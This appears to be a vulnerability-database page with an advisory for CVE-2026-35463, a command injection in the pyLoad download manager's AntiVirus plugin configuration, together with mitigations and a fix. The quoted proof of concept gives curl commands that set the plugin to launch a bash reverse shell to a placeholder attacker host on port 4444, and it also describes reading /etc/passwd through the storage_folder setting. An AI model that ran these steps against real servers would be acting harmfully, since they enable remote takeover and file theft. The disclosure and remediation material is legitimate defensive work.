Python
CVE-2026-35463
HIGH
GHSA-w48f-wwwf-f5fr
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as non-admin user with SETTINGS permission
-
DeliveryAccess AntiVirus plugin configuration
-
ExploitModify avfile path to malicious executable
-
ExecutionTrigger AntiVirus scan
-
ImpactExecute arbitrary code via subprocess.Popen()
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Non-admin user with SETTINGS permission on the target system. The AntiVirus plugin must be installed and enabled. Attacker modifies the plugin's avfile configuration parameter to execute arbitrary code via subprocess.Popen(). |
| Impact | This vulnerability presents high real-world risk despite requiring authentication. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-accessible exploitation with low attack complexity and no user interaction required-only low-privilege (non-admin) credentials with SETTINGS permission needed. While CVSS 8.8 appears severe, the practical risk is moderated by the authentication requirement and need for specific permission levels not typically granted to untrusted users. However, in multi-tenant or shared pyLoad deployments where non-admin users legitimately have SETTINGS access to manage their downloads, this becomes a critical privilege escalation path to full system compromise. The detailed proof-of-concept in the GitHub advisory demonstrates clear exploitability with step-by-step curl commands. No CISA KEV listing indicates no confirmed active exploitation in the wild, but the public advisory with working exploit code significantly lowers the barrier for attackers. The command injection class (CWE-78) is highly automatable once initial access is obtained, making this suitable for post-exploitation automation in compromised environments. |
| Exploit ScenarioDerived | An attacker with stolen or legitimately-issued non-admin credentials having SETTINGS permission authenticates to the pyLoad web interface. They issue three API calls: first modifying the AntiVirus.avfile config parameter to /bin/bash, second setting AntiVirus.avargs to a reverse shell payload targeting their command-and-control server, and third enabling the AntiVirus plugin. When they add any download task, pyLoad's automatic file scanning triggers the AntiVirus plugin's scan_file() function upon download completion, executing their payload with the privileges of the pyLoad process user. This grants them a reverse shell for persistent system access, lateral movement, and data exfiltration. The publicly available proof-of-concept provides complete curl commands making exploitation straightforward for attackers. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 04, 2026
Remote code execution in pyLoad download manager allows authenticated non-admin users with SETTINGS permission to execute arbitrary system commands via the AntiVirus plugin configuration. The vulnerability stems from incomplete enforcement of admin-only security controls: while core configuration options like reconnect scripts and SSL certificates require admin privileges, plugin configuration lacks this protection. Attackers can modify the AntiVirus plugin's executable path (avfile) parameter, which is directly passed to subprocess.Popen() without validation, achieving command execution when file downloads complete. CVSS 8.8 reflects network-accessible attack with low complexity requiring only low-privilege authentication. No active exploitation confirmed (not in CISA KEV), but detailed proof-of-concept exists in the GitHub security advisory.
RemediationAI
Apply vendor-released patch from the pyLoad project available through the GitHub security advisory at https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr. The recommended fix extends ADMIN_ONLY_OPTIONS enforcement to plugin configuration by creating an ADMIN_ONLY_PLUGIN_OPTIONS set containing sensitive plugin options like AntiVirus.avfile and AntiVirus.avargs, then validating these before applying plugin config changes. A more robust solution involves whitelisting known antivirus binary paths and validating avfile points to legitimate executables before passing to subprocess.Popen(). As immediate mitigation, restrict SETTINGS permission to admin users only, disable the AntiVirus plugin if not required, or implement filesystem-level restrictions preventing the pyLoad process from executing arbitrary binaries. Organizations should audit which non-admin users have SETTINGS permissions and review plugin configurations for unauthorized modifications.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pyLoad (pkg:pip/pyload-ng) is a Python-based download manager with plugin architecture. The application implements ADMIN_ONLY_OPTIONS controls to restrict security-critical core configuration values (reconnect scripts, SSL certificates, proxy credentials) to admin users. However, this protection mechanism only validates core config options at core/api/__init__.py:255, while plugin config modifications at line 271-272 bypass this check entirely. The AntiVirus plugin (plugins/addons/AntiVirus.py:75) retrieves the 'avfile' and 'avargs' configuration values and passes them directly to subprocess.Popen() without sanitization or path validation. This represents a classic OS Command Injection vulnerability (CWE-78) where user-controlled input flows into a command execution sink. The vulnerability also includes an arbitrary file read component via storage_folder path traversal using inverted validation logic that prevents child paths but allows parent directory access.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
Details
Safe wrapper - ADMIN_ONLY_OPTIONS (core/api/__init__.py:225-235):
ADMIN_ONLY_OPTIONS = {
"reconnect.script",
# Blocks script path change
"webui.host",
# Blocks bind address change
"ssl.cert_file",
# Blocks cert path change
"ssl.key_file",
# Blocks key path change
# ... other sensitive options
}Where it IS enforced - core config (core/api/__init__.py:255):
def set_config_value(self, section, option, value):
if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
# ...Where it is NOT enforced - plugin config (core/api/__init__.py:271-272):
# Plugin config - NO admin check at all
self.pyload.config.set_plugin(category, option, value)Dangerous sink - AntiVirus plugin (plugins/addons/AntiVirus.py:75):
def scan_file(self, file):
avfile = self.config.get("avfile")
# User-controlled via plugin config
avargs = self.config.get("avargs")
subprocess.Popen([avfile, avargs, target])
# RCEPoC
# As non-admin user with SETTINGS permission:
# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avfile' \
-d 'value=/bin/bash'
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avargs' \
-d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.activated' \
-d 'value=True'
# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
-d 'name=test' \
-d 'links=http://example.com/test.zip'
# Result: reverse shell as the pyload process userAdditional Finding: Arbitrary File Read via storage_folder
The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic - it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.
Impact
- Remote Code Execution - Non-admin user can execute arbitrary commands via AntiVirus plugin config
- Privilege escalation - SETTINGS permission (non-admin) escalates to full system access
- Arbitrary file read - Via storage_folder manipulation
Remediation
Apply ADMIN_ONLY_OPTIONS to plugin config as well:
# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
"AntiVirus.avfile",
"AntiVirus.avargs",
# ... any plugin option that controls executables or paths
}
if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().
Executive ViewAI
CVE-2026-35463 is a remote code execution vulnerability in pyLoad download manager that allows authenticated users with basic SETTINGS permission to execute arbitrary system commands by manipulating the AntiVirus plugin configuration. Organizations running pyLoad are at immediate risk of unauthorized command execution and potential full system compromise through a low-friction attack requiring only non-admin account access. This represents a critical privilege escalation path that bypasses intended admin-only security controls.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Revoke SETTINGS permission from non-administrative accounts immediately; (2) Disable the AntiVirus plugin in configuration if download scanning is not business-critical; (3) Implement file integrity monitoring on pyLoad configuration directories to detect unauthorized changes to plugin parameters; (4) Restrict network access to pyLoad administrative interfaces using firewall rules or application-level access controls; (5) Monitor subprocess and command execution logs for suspicious patterns originating from the pyLoad process.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Exploit-DB